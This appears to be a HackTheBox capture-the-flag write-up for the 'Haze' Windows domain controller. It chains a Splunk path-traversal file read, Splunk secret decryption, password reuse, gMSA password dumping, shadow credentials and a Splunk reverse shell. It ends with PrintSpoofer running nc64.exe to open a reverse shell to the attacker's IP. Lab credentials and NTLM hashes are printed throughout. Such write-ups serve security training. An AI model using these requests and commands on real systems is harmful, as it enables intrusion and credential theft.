Haze Writeup
This HackTheBox machine is a Windows Active Directory machine that contains a web server with Splunk on it. Leveraging a Splunk Local File Read vulnerability which can dump the splunk.secret file and authentication.conf file, which used together can give a clear password for the paul.taylor user. Using this password for a spray also reveals that it is used for the mark.adams user who has GMSA privileges and allows dumping Service Account passwords. Using this service account another account can be given Shadow Credentials through AD, and then that account with Remote privileges can be used to search the files on the machine and find a backup of the Splunk instance with a password for the admin user on Splunk. Creating a reverse shell on splunk shows that it is being run by someone with the SEImpersonatePrivilege which is an easy privesc.
Portscan:
Nmap scan report for 10.10.11.61
Host is up (0.16s latency).
Not shown: 65505 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
8000/tcp open http-alt
8088/tcp open radan-http
8089/tcp open unknown
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
51586/tcp open unknown
51590/tcp open unknown
51592/tcp open unknown
51606/tcp open unknown
51617/tcp open unknown
51635/tcp open unknown
51775/tcp open unknown
62457/tcp open unknown
Script Scan:
Nmap scan report for 10.10.11.61
Host is up (0.098s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-01 23:03:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp open http Splunkd httpd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
8088/tcp open ssl/http Splunkd httpd
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-server-header: Splunkd
8089/tcp open ssl/http Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
51586/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
51590/tcp open msrpc Microsoft Windows RPC
51592/tcp open msrpc Microsoft Windows RPC
51606/tcp open msrpc Microsoft Windows RPC
51617/tcp open msrpc Microsoft Windows RPC
51635/tcp open msrpc Microsoft Windows RPC
51775/tcp open msrpc Microsoft Windows RPC
62457/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-01T23:04:43
|_ start_date: N/A
|_clock-skew: 8h00m01s
Researching for vulnerabilities in Splunk there is a vulnerability that is recent, in 2024 an unauthenticated LFI vulnerability was found. Testing that vulnerability results in LFI on the machine. Using this there are a number of interesting files to dump on the machine.
Request for LFI:
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf HTTP/1.1
Host: dc01.haze.htb:8089
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: session_id_8000=22b0294ad99d550c8fd42dc7ca2446e8f7c31d50; splunkweb_uid=7694D38D-6BB7-4FF4-AD4B-2E1C29528D4C
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Dumping the authentication.conf it shows that there are passwords contained in the files, specifically one for Paul Taylor. This password can be decrypted using a splunksecrets python decoder.
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
Decrypt the secret using the Splunk Secrets Tool: Note you also need to dump splunk.secret from the splunk instance.
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='
#Ld@p_Auth_Sp1unk@2k24
This should work against the Paul Taylor user, but to get that user we need the actual username. (I've been able to use the LDAP string in the past, but this time it wasn't working for me. Best to get the actual username anyways.)
Using username-anarchy gives us a list of usernames, and then using kerbrute it can show us what the actual username is for Paul Taylor.
./username-anarchy Paul Taylor > usernames.txt
./kerbrute_linux_amd64 userenum --dc dc01.haze.htb -d haze.htb usernames.txt
# paul.taylor
That is our first credential.
paul.taylor:Ld@p_Auth_Sp1unk@2k24
This user is significantly restricted, but there is a lot of good information to enumerate from this user still. Such as all of the usernames for the users on the Domain Controller.
Password REUSE on the mark.adams user.
The mark.adams user is a member of the gMSA_Managers group, and that group has write permissions over the msDS-GroupMSAMembership which is a security descriptor that gives permissions to read the managed password from the service account (In this case the service account is )
$gMSA_DN = "CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb"
$securityDescriptor = New-Object System.DirectoryServices.ActiveDirectorySecurity
$owner = New-Object System.Security.Principal.NTAccount("HAZE", "mark.adams")
$securityDescriptor.SetOwner($owner)
$group = New-Object System.Security.Principal.NTAccount("HAZE", "gMSA_Managers")
$groupACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($group,[System.DirectoryServices.ActiveDirectoryRights]::ReadProperty, [System.Security.AccessControl.AccessControlType]::Allow)
$securityDescriptor.AddAccessRule($groupACE)
Set-ADObject -Identity $gMSA_DN -Replace @{ "msDS-GroupMSAMembership" = $securityDescriptor }
Then the password can be read with:
#Command
netexec ldap dc01.haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa
#Output
SMB 10.10.11.61 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAPS 10.10.11.61 636 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS 10.10.11.61 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.10.11.61 636 DC01 Account: Haze-IT-Backup$ NTLM: 735c02c6b2dc54c3c8c6891f55279ebc
Change the owner of the support_services group, add the write-member permission to our user, Add Haze-IT-Backup$ as a member of the group, then take another bloodhound scan as a member of that group:
#Write owner of the group
bloodyAD --host dc01.haze.htb -d haze -u 'Haze-IT-Backup$' -p 735c02c6b2dc54c3c8c6891f55279ebc:735c02c6b2dc54c3c8c6891f55279ebc set owner 'SUPPORT_SERVICES' 'Haze-IT-Backup$'
#Give our User the WriteMember right
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'Haze-IT-Backup$' -hashes 735c02c6b2dc54c3c8c6891f55279ebc:735c02c6b2dc54c3c8c6891f55279ebc -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'HAZE.HTB'/'Haze-IT-Backup$'
#Write our user as a member
bloodyAD --host dc01.haze.htb -d haze -u 'Haze-IT-Backup$' -p 735c02c6b2dc54c3c8c6891f55279ebc:735c02c6b2dc54c3c8c6891f55279ebc add groupMember 'support_services' 'Haze-it-backup$'
#Run another bloodhound scan (Note there is an aggressive cleanup script this has to be all done quickly.)
python3 bloodhound.py -u 'Haze-IT-Backup$' --hashes 735c02c6b2dc54c3c8c6891f55279ebc:735c02c6b2dc54c3c8c6891f55279ebc -ns 10.10.11.61 -d haze.htb -c All --zip
#The previous scan shows us that we can write a shadowCredential to the user edward.martin, so create a shadowCredential as well.
bloodyAD --host dc01.haze.htb -d haze -u 'Haze-IT-Backup$' -p 735c02c6b2dc54c3c8c6891f55279ebc:735c02c6b2dc54c3c8c6891f55279ebc add shadowCredentials 'edward.martin'
Generate a ticket for the edward.martin user that we added shadowCredentials for:
# Sync time with the domain controller if necessary
sudo ntpdate dc01.haze.htb
#Request ticket
python3 gettgtpkinit.py -cert-pem ../v95zDhXX_cert.pem -key-pem ../v95zDhXX_priv.pem haze/edward.martin v95zDhXX.ccache
# Rename the file to edwardmartin.ccache to not lose it.
mv v95zDhXX.ccache edwardmartin.ccache
Update krb5.conf for this realm
[libdefault]
default_realm = HAZE
[realms]
HAZE = {
kdc = dc01.haze.htb
admin_server = dc01.haze.htb
}
[domain_realm]
haze.htb = HAZE
.haze.htb = HAZE
haze = HAZE
Login with evil-winrm
evil-winrm -i dc01.haze.htb -r haze
Inside of the C:\ there is a folder that was inaccessible previously, logging in as edward.martin access is granted. In the Backups folder there is a splunk backup file. Searching through these files inside of the backup (Post exfiltrating) shows another password. This time the password is for the splunk admin.
#Command
grep -Ri '\$1\$'
#Output
var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf:bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
Using splunksecrets against this just like the last one results in a password for the Splunk administration panel.
#Command
splunksecrets splunk-decrypt -S etc/auth/splunk.secret
#Output, with this version of the command you need to supply the cipher text.
Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI=
Sp1unkadmin@2k24
Trying this password against the splunk administration console results in a login:
admin:Sp1unkadmin@2k24
There is an easy reverse shell that can be gained from this. Following this tutorial results in a reverse shell as the user running the Splunk instance, in this case Alexander.green
nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.61] 51970
whoami
haze\alexander.green
Alexander.green has a very dangerous permission with an easy privilege escalation vector.
#Command
whoami /all
# Output
...
SeImpersonatePrivilege Impersonate a client after authentication Enabled
The SeImpersonatePrivilege is a simple privilege escalation with PrintSpoofer64.exe. First upload PrintSpoofer64.exe, and then also upload nc64.exe as well. Then use the PrintSpoofer64.exe to start a new reverse shell with higher privileges.
.\PrintSpoofer64.exe -c "C:\Users\alexander.green\nc64.exe 10.10.16.5 9003 -e cmd"
The listening port on the attack machine will catch the shell, and give a root shell.
nc -lvnp 9003
listening on [any] 9003 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.61] 52024
Microsoft Windows [Version 10.0.20348.3328]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
haze\dc01$
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
# <Root Flag>